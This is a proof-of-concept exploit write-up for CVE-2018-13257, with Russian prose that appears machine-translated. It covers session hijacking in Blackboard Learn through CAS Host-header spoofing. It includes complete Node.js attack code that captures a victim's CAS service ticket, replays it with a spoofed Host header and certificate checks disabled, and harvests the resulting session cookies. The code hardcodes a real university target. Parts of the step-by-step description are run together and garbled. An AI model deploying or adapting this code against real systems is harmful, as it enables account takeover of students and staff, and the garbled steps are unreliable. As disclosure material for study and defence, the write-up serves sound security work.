
Эксплойт, подтверждающий концепцию, для CVE-2018-13257, демонстрирующий подмену заголовка Host в CAS в Blackboard Learn для перехвата сеансов пользователей через вредоносный промежуточный веб-сайт.
Модуль аутентификации в Blackboard Learn уязвим для подмены HTTP-заголовка Host при проверке сервисного билета Central Authentication Service (CAS). Сервисный билет CAS предназначен только для конкретного сервиса, но Blackboard Learn не проверяет должным образом, что этот сервис является текущим экземпляром. Это позволяет провести фишинговую атаку, когда пользователи думают, что вводят данные единого входа для определенного веб-сайта, а вредоносный сайт вместо этого использует сервисный билет для аутентификации от имени этого пользователя в экземпляре Blackboard Learn.
Злоумышленник настраивает attacker.example, чтобы аутентифицироваться как другой пользователь в экземпляре Blackboard Learn на blackboard.example, который проверяет сервисные билеты через cas.example.
Следующие события происходят, когда пользователь посещает attacker.example.
https://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example. Скорее всего, он доверяет ей, поскольку это стандартный экран входа его учебного заведения на доверенном домене. На странице входа будет указано, что он аутентифицируется для attacker.example.attacker.example: https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example выполнит HTTP GET-запрос к blackboard.example, используя сервисный билет , полученный на предыдущем шаге. GET-запрос обратится к с заголовком host: : Если attacker.example является веб-сайтом, которому сотрудники учреждения регулярно доверяют (например, домашняя страница учреждения), то компрометация этого сайта будет означать, что экземпляр Blackboard Learn учреждения также разумно скомпрометирован этой уязвимостью.
Чтобы избежать подозрений, attacker.example может перенаправить пользователя обратно на страницу входа sso.example после шага 5 и выполнить ожидаемые функции, для которых предназначался attacker.example. Пользователь увидит, что ему нужно дважды нажать «Войти», но перенаправление происходит достаточно быстро, и пользователь не сможет быть уверен, что покинул страницу входа и вернулся.
Следует отметить, что CVE-2017-18262 отличается от этой уязвимости. CVE-2017-18262 — это уязвимость в проверке redirectTo. Данная уязвимость связана с недостатком в параметре URL service, отправляемом в конечную точку проверки входа.
Использование CVE-2017-18262 для фишинга учетных данных требует настройки фишинговой страницы входа, имитирующей внешний вид cas.example. Эта уязвимость возникает непосредственно на cas.example, но требует, чтобы пользователь изначально посетил attacker.example.
Это было протестировано на lms.uconn.edu с brc15007 в качестве поддельного пользователя. lms.uconn.edu — это экземпляр Blackboard Learn, управляемый Blackboard Inc., размещенный на Amazon Web Services.
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized is required since we're spoofing the host
// header and ctx.request.host liekly won't be in the endpoint's HTTPS
// certificate.
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}
ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.exampleattacker.examplehttps://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example ответит серверу attacker.example cookie, аутентифицирующими целевого пользователя в экземпляре Blackboard Learn.